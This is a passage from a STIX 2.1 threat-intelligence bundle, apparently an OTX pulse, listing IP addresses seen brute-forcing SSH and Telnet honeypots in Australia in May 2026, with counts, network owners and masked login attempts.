      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 45820. Organisation(s): Tata Teleservices ISP AS. Usernames observed (masked): r**t, 3**********4, h***d, p******s, r******n. Passwords observed (masked): 1**1, ***, 1***5, 1*********!, 1****e.",
      "id": "indicator--52f5ad91-1106-4902-b148-49b08b04b2c7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.194.62.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T19:15:11.000Z",
      "valid_until": "2026-06-25T19:15:08.000Z"
    },
    {
      "created": "2026-05-24T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 56. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 215590. Organisation(s): DpkgSoft International Limited. Usernames observed (masked): r**t, s****r, 3**********4, a****w, h***d. Passwords observed (masked): *, 1****6, 1*********!, 3***********4, 3**********4.",
      "id": "indicator--e73124de-8059-4a54-831f-ee39b23dd1f3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '150.241.88.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T19:15:11.000Z",
      "valid_until": "2026-06-25T19:15:08.000Z"
    },
    {
      "created": "2026-05-24T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 49. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 142403. Organisation(s): YISU CLOUD LTD. Usernames observed (masked): ***, r**t, 3**********4, ***, m****v. Passwords observed (masked): !**********y, 3***********4, 3**********4, f****************4, ***.",
      "id": "indicator--0c0fc6c6-451c-40b4-bce9-a48685f239c2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '154.221.28.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T19:15:11.000Z",
      "valid_until": "2026-06-25T19:15:08.000Z"
    },
    {
      "created": "2026-05-24T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 150187. Organisation(s): PT Indo Teknologi Konstruksi. Usernames observed (masked): r**t. Passwords observed (masked): 1**4.",
      "id": "indicator--da2fd0ae-2ed1-479e-acef-2ee9e8565acf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '157.15.73.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T19:15:11.000Z",
      "valid_until": "2026-06-25T19:15:08.000Z"
    },
    {
      "created": "2026-05-24T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): i***l, 3**********4. Passwords observed (masked): ***, 3***********4, 3**********4.",
      "id": "indicator--2bd1e826-391a-45e8-9f70-a5ee7bb21d44",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.154.5.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T19:15:11.000Z",
      "valid_until": "2026-06-25T19:15:08.000Z"
    },
    {
      "created": "2026-05-24T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MX. ASN(s): 8151. Organisation(s): UNINET. Usernames observed (masked): i***l, 3**********4. Passwords observed (masked): ***, 3***********4, 3**********4.",
      "id": "indicator--6f805858-9a27-489f-ac66-63ee28ebb1ff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.165.70.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T19:15:11.000Z",
      "valid_until": "2026-06-25T19:15:08.000Z"
    },
    {
      "created": "2026-05-24T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 264628. Organisation(s): CORPORACION FIBEX TELECOM, C.A..",
      "id": "indicator--79aa27c1-f2fa-42d3-a836-889df131d72c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.103.31.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T19:15:11.000Z",
      "valid_until": "2026-06-25T19:15:08.000Z"
    },
    {
      "created": "2026-05-24T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): **, 3**********4, v****n. Passwords observed (masked): ***, 3***********4, 3**********4, v****n.",
      "id": "indicator--69506307-0100-46e2-b35e-8578e76a2dab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.124.84.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T19:15:11.000Z",
      "valid_until": "2026-06-25T19:15:08.000Z"
    },
    {
      "created": "2026-05-24T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 207. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 270256. Organisation(s): VILDONET TELECOM. Usernames observed (masked): r**t, 3**********4, i**i, ***, r******n. Passwords observed (masked): 3***********4, 3**********4, 1****2, ***, 1***5.",
      "id": "indicator--09a2c015-0a64-4bba-ad5e-b8d6a779a694",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '200.108.174.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T19:15:11.000Z",
      "valid_until": "2026-06-25T19:15:08.000Z"
    },
    {
      "created": "2026-05-24T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 76. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KH. ASN(s): 24492. Organisation(s): WiCAM Corporation Ltd.. Usernames observed (masked): r**t, 3**********4, i**i, i***n. Passwords observed (masked): 3***********4, 3**********4, 1*******d, T*****3, f******************@.",
      "id": "indicator--07aef71d-65e4-4846-a4d5-487c833d0265",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '202.79.29.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T19:15:11.000Z",
      "valid_until": "2026-06-25T19:15:08.000Z"
    },
    {
      "created": "2026-05-24T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 56. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, 3**********4, s****r, u****u. Passwords observed (masked): 0******u, *, 3***********4, 3**********4, A********@.",
      "id": "indicator--3f23f7f7-dfc4-4416-b027-6e72a9a94421",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '203.228.30.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T19:15:11.000Z",
      "valid_until": "2026-06-25T19:15:08.000Z"
    },
    {
      "created": "2026-05-24T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 138423. Organisation(s): CMPak Limited.",
      "id": "indicator--a040994d-5ff0-4308-a576-8d43a6699cef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.123.35.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T19:15:11.000Z",
      "valid_until": "2026-06-25T19:15:08.000Z"
    },
    {
      "created": "2026-05-24T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MA. ASN(s): 36903. Organisation(s): MT-MPLS.",
      "id": "indicator--4fe3f129-40f4-4a02-8b18-c9bdaf75f32f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.248.169.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T19:15:11.000Z",
      "valid_until": "2026-06-25T19:15:08.000Z"
    },
    {
      "created": "2026-05-24T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 232. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 209847. Organisation(s): WorkTitans B.V.. Usernames observed (masked): r**t, 3**********4, i**i, i***l, h***d. Passwords observed (masked): ***, 3***********4, 3**********4, 1***5, 1****6.",
      "id": "indicator--cd5a2b30-0d28-444d-8dbd-2a9a736a3fe7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.89.55.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T19:15:11.000Z",
      "valid_until": "2026-06-25T19:15:08.000Z"
    },
    {
      "created": "2026-05-24T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JM. ASN(s): 30689. Organisation(s): FLOW.",
      "id": "indicator--dbc5a5af-ef38-4830-a92d-569a5fe678fb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '67.230.79.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T19:15:11.000Z",
      "valid_until": "2026-06-25T19:15:08.000Z"
    },
    {
      "created": "2026-05-24T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--0c53a765-dd4c-4e06-ab8e-01c293edd44c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '72.255.26.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T19:15:11.000Z",
      "valid_until": "2026-06-25T19:15:08.000Z"
    },
    {
      "created": "2026-05-24T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IL. ASN(s): 1680. Organisation(s): Cellcom Fixed Line Communication L.P.",
      "id": "indicator--d4a1be68-e4f2-48ea-8ac6-92556f961d58",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '85.64.196.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T19:15:11.000Z",
      "valid_until": "2026-06-25T19:15:08.000Z"
    },
    {
      "created": "2026-05-24T20:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--99a23a9c-41ce-4739-b231-d49fa8970e7b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.129.238.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T20:15:12.000Z",
      "valid_until": "2026-06-25T20:15:08.000Z"
    },
    {
      "created": "2026-05-24T20:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--7c83ea06-f6cb-451e-bb44-a7519c11e01a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '159.89.206.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T20:15:12.000Z",
      "valid_until": "2026-06-25T20:15:08.000Z"
    },
    {
      "created": "2026-05-24T20:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 63949. Organisation(s): Akamai Connected Cloud. Usernames observed (masked): A*******************p, G************1, U****************************************************************************************************************************6. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--27e317ab-5210-44ef-a722-843f1b8da34e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.236.228.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T20:15:12.000Z",
      "valid_until": "2026-06-25T20:15:08.000Z"
    },
    {
      "created": "2026-05-24T20:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: NI. ASN(s): 52468. Organisation(s): UFINET PANAMA S.A..",
      "id": "indicator--e939115f-326d-4188-9ad7-5761bec3cecd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.79.211.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T20:15:12.000Z",
      "valid_until": "2026-06-25T20:15:08.000Z"
    },
    {
      "created": "2026-05-24T20:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28573. Organisation(s): Claro NXT Telecomunicacoes Ltda.",
      "id": "indicator--eec6e386-391b-4c51-8dda-40858fc2df1b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.206.13.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T20:15:12.000Z",
      "valid_until": "2026-06-25T20:15:08.000Z"
    },
    {
      "created": "2026-05-24T20:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 7303. Organisation(s): Telecom Argentina S.A..",
      "id": "indicator--a1be6ae0-75e7-4cc7-9650-81800b8aed85",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.193.17.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T20:15:12.000Z",
      "valid_until": "2026-06-25T20:15:08.000Z"
    },
    {
      "created": "2026-05-24T20:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KE. ASN(s): 37061. Organisation(s): Safaricom. Usernames observed (masked): r**t, 3**********4, ***, r****t. Passwords observed (masked): 1**4, 3***********4, 3**********4, Q******!, f******************@.",
      "id": "indicator--9a77546a-7325-4287-aa8e-61ffee57deaf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '197.248.104.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T20:15:12.000Z",
      "valid_until": "2026-06-25T20:15:08.000Z"
    },
    {
      "created": "2026-05-24T20:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 7738. Organisation(s): V tal.",
      "id": "indicator--19a385e5-3c45-4519-8577-57ebfdfe6f23",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '200.195.10.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T20:15:12.000Z",
      "valid_until": "2026-06-25T20:15:08.000Z"
    },
    {
      "created": "2026-05-24T20:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 56. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VE. ASN(s): 8048. Organisation(s): CANTV Servicios, Venezuela. Usernames observed (masked): r**t, 3**********4, c***d, j*****r, p****n. Passwords observed (masked): 0**0, 3***********4, 3**********4, P**********@, W*********7.",
      "id": "indicator--f720e690-2ea4-414d-800f-c6ca8cf06ed5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.249.192.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T20:15:12.000Z",
      "valid_until": "2026-06-25T20:15:08.000Z"
    },
    {
      "created": "2026-05-24T20:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 269424. Organisation(s): M dos santos rodrigues.",
      "id": "indicator--2d9e3157-31cd-494e-b468-40b9398321d5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.186.133.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T20:15:12.000Z",
      "valid_until": "2026-06-25T20:15:08.000Z"
    },
    {
      "created": "2026-05-24T20:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--0d934a2f-a804-4cad-826e-f0d53768e8a8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '8.222.128.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T20:15:12.000Z",
      "valid_until": "2026-06-25T20:15:08.000Z"
    },
    {
      "created": "2026-05-24T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 142647. Organisation(s): Nasstec Airnet Networks Private Limited.",
      "id": "indicator--abd8a0c3-0aa0-44a2-b5d8-2a7b79ad115b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.186.77.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T21:15:11.000Z",
      "valid_until": "2026-06-25T21:15:08.000Z"
    },
    {
      "created": "2026-05-24T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 54. Sensors involved: Cowrie. Target ports: 23. Source country: SY. ASN(s): 216472. Organisation(s): High Speed For Internet Services L.L.C.",
      "id": "indicator--e8948c19-b990-4a53-a7f4-295e2943e779",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '131.222.210.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T21:15:11.000Z",
      "valid_until": "2026-06-25T21:15:08.000Z"
    },
    {
      "created": "2026-05-24T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--24620bc9-6553-4270-95a7-47fef37a38c7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.227.180.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T21:15:11.000Z",
      "valid_until": "2026-06-25T21:15:08.000Z"
    },
    {
      "created": "2026-05-24T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HN. ASN(s): 271971. Organisation(s): CABLE SATELITE S.DE R.L. DE C.V..",
      "id": "indicator--04cc3b2d-a656-4bf4-901f-dbb3d63c4982",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '170.83.116.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T21:15:11.000Z",
      "valid_until": "2026-06-25T21:15:08.000Z"
    },
    {
      "created": "2026-05-24T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HN. ASN(s): 271971. Organisation(s): CABLE SATELITE S.DE R.L. DE C.V..",
      "id": "indicator--025acac8-9518-4cfd-90b4-4fb87cd7709a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '170.83.116.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T21:15:11.000Z",
      "valid_until": "2026-06-25T21:15:08.000Z"
    },
    {
      "created": "2026-05-24T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HN. ASN(s): 271971. Organisation(s): CABLE SATELITE S.DE R.L. DE C.V..",
      "id": "indicator--f867ea16-a83c-4624-a06c-908bab277ada",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '170.83.116.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T21:15:11.000Z",
      "valid_until": "2026-06-25T21:15:08.000Z"
    },
    {
      "created": "2026-05-24T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HN. ASN(s): 271971. Organisation(s): CABLE SATELITE S.DE R.L. DE C.V..",
      "id": "indicator--c09a906c-fb25-4970-bc5b-4f05c4b74aa2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '170.83.116.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
